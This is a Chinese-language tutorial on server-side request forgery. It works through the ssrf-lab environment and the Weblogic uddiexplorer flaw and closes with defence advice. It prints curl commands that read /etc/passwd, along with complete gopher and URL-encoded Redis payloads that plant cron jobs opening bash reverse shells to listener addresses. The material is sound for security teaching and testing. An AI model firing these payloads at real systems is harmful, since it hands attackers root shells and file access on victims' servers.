结合漏洞、ssrf-lab学习SSRF漏洞
字数 1804 2025-08-22 12:23:36

SSRF漏洞深入解析与实战教学

前言

本文通过分析Weblogic SSRF漏洞和ssrf-lab实验环境,全面讲解SSRF(Server-Side Request Forgery)漏洞的原理、挖掘与利用技术。内容涵盖SSRF基础知识、常见协议利用、内网探测、Redis服务攻击等实战技巧。

0x00 SSRF基础概念

SSRF简介

SSRF(Server-Side Request Forgery)即服务器端请求伪造,是一种利用漏洞伪造服务器端发起请求的攻击方式,本质上属于信息泄露漏洞。攻击者通过构造恶意请求,使服务器作为代理访问内部或外部资源,从而绕过客户端限制。

SSRF漏洞原理

SSRF形成的主要原因:

  1. 服务端提供了从其他服务器获取数据的功能
  2. 未对目标地址进行有效过滤和限制
  3. Web服务器通常可以访问互联网和所在内网

典型应用场景:

  • 从指定URL获取网页内容
  • 加载指定地址的图片
  • 文件下载功能

攻击本质:利用可发起网络请求的服务作为跳板攻击内部其他服务。

关键协议与工具

Gopher协议

  • 功能强大,在SSRF中发挥重要作用
  • 可攻击内网FTP、Telnet、Redis、Memcache等服务
  • 支持GET/POST请求构造

DICT协议

  • 字典服务器协议(Dictionary Server Protocol)
  • 默认端口2628
  • 可用于信息收集和服务探测

Redis服务

  • 默认端口6379
  • 常与SSRF结合利用
  • 可实现未授权访问和命令执行

Curl命令

  • 常用命令行工具,用于请求Web服务器
  • 关键参数:
    • -v:输出通信全过程,用于调试
    • 支持多种协议:file、ftp、dict、gopher等

示例命令:

# 基本GET请求
curl https://www.example.com

# 使用file协议读取文件
curl -v file:///etc/passwd

# 使用ftp协议
curl -v "ftp://127.0.0.1:端口/info"

# 使用dict协议
curl -v "dict://127.0.0.1:端口/info"

# 使用gopher协议
curl -v "gopher://127.0.0.1:端口/_info"

常见内网IP段

了解内网IP范围对SSRF攻击至关重要:

  • C类:192.168.0.0 - 192.168.255.255
  • B类:172.16.0.0 - 172.31.255.255
  • A类:10.0.0.0 - 10.255.255.255

SSRF漏洞挖掘与利用

主要利用四种协议:

  1. file协议:本地文件读取
  2. http协议:内网IP扫描和端口探测
  3. gopher协议:攻击特定服务(如Redis)
  4. dict协议:服务信息收集

典型利用流程:

  1. 探测开放端口(如6379 Redis)
  2. 利用协议与目标服务交互
  3. 通过写入操作实现持久化或反弹shell

0x01 ssrf-lab实战

环境准备与基本探测

  1. 测试127.0.0.1,确认无内网IP限制
  2. 使用file协议读取敏感文件:
    file:///etc/passwd
    
    成功读取说明存在任意文件读取漏洞

Redis服务安装与配置

在ssrf-basics容器中安装Redis:

$ docker ps # 查看容器编号
$ docker exec -it 容器编号 /bin/bash # 进入容器
$ apt-get install redis-server # 安装redis服务
$ redis-server # 开启redis服务

利用dict协议攻击Redis

  1. 获取Redis配置信息:
    dict://127.0.0.1:6379/info
    
  2. 获取Redis存储内容:
    dict://127.0.0.1:6379/KEYS *
    

利用gopher协议攻击Redis

攻击原理:Redis以root权限运行时,通过写入定时任务实现反弹shell。

攻击步骤:

  1. 准备攻击命令:
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
  1. 转换为Gopher协议格式:
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/www/html/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
  1. URL解码后内容:
gopher://127.0.0.1:6379/_*1 $8 flushall *3 $3 set $1 1 $64 */1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1 *4 $6 config $3 set $3 dir $16 /var/www/html/ *4 $6 config $3 set $10 dbfilename $4 root *1 $4 save quit
  1. 验证攻击结果:
    在容器中查看插入的KEY值,确认攻击是否成功。

0x02 Weblogic SSRF漏洞实战

漏洞位置

Weblogic SSRF漏洞位于:

http://192.168.186.130:7001/uddiexplorer//uddiexplorer/SearchPublicRegistries.jsp

漏洞探测

  1. 构造请求参数:
?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
  1. 响应分析:
  • 可访问端口:返回错误状态码
  • 不存在端口:返回"could not connect over HTTP to server"
  • 通过此方法可探测内网开放端口

Redis攻击实战

  1. 探测内网Redis服务:
    发现172.18.0.2:6379可连通(Docker环境通常使用172.*网段)

  2. 准备反弹shell命令:

test
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.186.130/4444 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa
  1. URL编码后payload:
%74%65%73%74%73%65%74%20%31%20%22%5c%6e%5c%6e%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%72%6f%6f%74%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%38%36%2e%31%33%30%2f%34%34%34%34%20%30%3e%26%31%5c%6e%5c%6e%5c%6e%5c%6e%22%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%65%74%63%2f%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%63%72%6f%6e%74%61%62%73%61%76%65%61%61%61
  1. 攻击步骤:
  • 在攻击机监听4444端口:
    nc -lvp 4444
    
  • 发送构造的请求
  • 等待定时任务执行,获取反弹shell

防御建议

  1. 输入验证与过滤:

    • 限制请求协议(仅允许http/https)
    • 禁止访问内网IP段
    • 过滤特殊字符(如%0a%0d)
  2. 服务配置:

    • Redis等服务不使用root权限运行
    • 设置服务认证密码
    • 限制可写目录
  3. 网络层面:

    • 内网服务设置访问控制
    • 重要服务不暴露在公网
  4. 代码层面:

    • 使用白名单机制限制可访问域名
    • 禁用不必要的协议(file、gopher、dict等)

通过本文的详细讲解和实战演示,读者应能全面理解SSRF漏洞的原理、利用方式及防御措施,为Web安全测试和防御提供有力参考。

SSRF漏洞深入解析与实战教学 前言 本文通过分析Weblogic SSRF漏洞和ssrf-lab实验环境,全面讲解SSRF(Server-Side Request Forgery)漏洞的原理、挖掘与利用技术。内容涵盖SSRF基础知识、常见协议利用、内网探测、Redis服务攻击等实战技巧。 0x00 SSRF基础概念 SSRF简介 SSRF(Server-Side Request Forgery)即服务器端请求伪造,是一种利用漏洞伪造服务器端发起请求的攻击方式,本质上属于信息泄露漏洞。攻击者通过构造恶意请求,使服务器作为代理访问内部或外部资源,从而绕过客户端限制。 SSRF漏洞原理 SSRF形成的主要原因: 服务端提供了从其他服务器获取数据的功能 未对目标地址进行有效过滤和限制 Web服务器通常可以访问互联网和所在内网 典型应用场景: 从指定URL获取网页内容 加载指定地址的图片 文件下载功能 攻击本质:利用可发起网络请求的服务作为跳板攻击内部其他服务。 关键协议与工具 Gopher协议 功能强大,在SSRF中发挥重要作用 可攻击内网FTP、Telnet、Redis、Memcache等服务 支持GET/POST请求构造 DICT协议 字典服务器协议(Dictionary Server Protocol) 默认端口2628 可用于信息收集和服务探测 Redis服务 默认端口6379 常与SSRF结合利用 可实现未授权访问和命令执行 Curl命令 常用命令行工具,用于请求Web服务器 关键参数: -v :输出通信全过程,用于调试 支持多种协议:file、ftp、dict、gopher等 示例命令: 常见内网IP段 了解内网IP范围对SSRF攻击至关重要: C类:192.168.0.0 - 192.168.255.255 B类:172.16.0.0 - 172.31.255.255 A类:10.0.0.0 - 10.255.255.255 SSRF漏洞挖掘与利用 主要利用四种协议: file协议 :本地文件读取 http协议 :内网IP扫描和端口探测 gopher协议 :攻击特定服务(如Redis) dict协议 :服务信息收集 典型利用流程: 探测开放端口(如6379 Redis) 利用协议与目标服务交互 通过写入操作实现持久化或反弹shell 0x01 ssrf-lab实战 环境准备与基本探测 测试127.0.0.1,确认无内网IP限制 使用file协议读取敏感文件: 成功读取说明存在任意文件读取漏洞 Redis服务安装与配置 在ssrf-basics容器中安装Redis: 利用dict协议攻击Redis 获取Redis配置信息: 获取Redis存储内容: 利用gopher协议攻击Redis 攻击原理:Redis以root权限运行时,通过写入定时任务实现反弹shell。 攻击步骤: 准备攻击命令: 转换为Gopher协议格式: URL解码后内容: 验证攻击结果: 在容器中查看插入的KEY值,确认攻击是否成功。 0x02 Weblogic SSRF漏洞实战 漏洞位置 Weblogic SSRF漏洞位于: 漏洞探测 构造请求参数: 响应分析: 可访问端口:返回错误状态码 不存在端口:返回"could not connect over HTTP to server" 通过此方法可探测内网开放端口 Redis攻击实战 探测内网Redis服务: 发现172.18.0.2:6379可连通(Docker环境通常使用172.* 网段) 准备反弹shell命令: URL编码后payload: 攻击步骤: 在攻击机监听4444端口: 发送构造的请求 等待定时任务执行,获取反弹shell 防御建议 输入验证与过滤: 限制请求协议(仅允许http/https) 禁止访问内网IP段 过滤特殊字符(如%0a%0d) 服务配置: Redis等服务不使用root权限运行 设置服务认证密码 限制可写目录 网络层面: 内网服务设置访问控制 重要服务不暴露在公网 代码层面: 使用白名单机制限制可访问域名 禁用不必要的协议(file、gopher、dict等) 通过本文的详细讲解和实战演示,读者应能全面理解SSRF漏洞的原理、利用方式及防御措施,为Web安全测试和防御提供有力参考。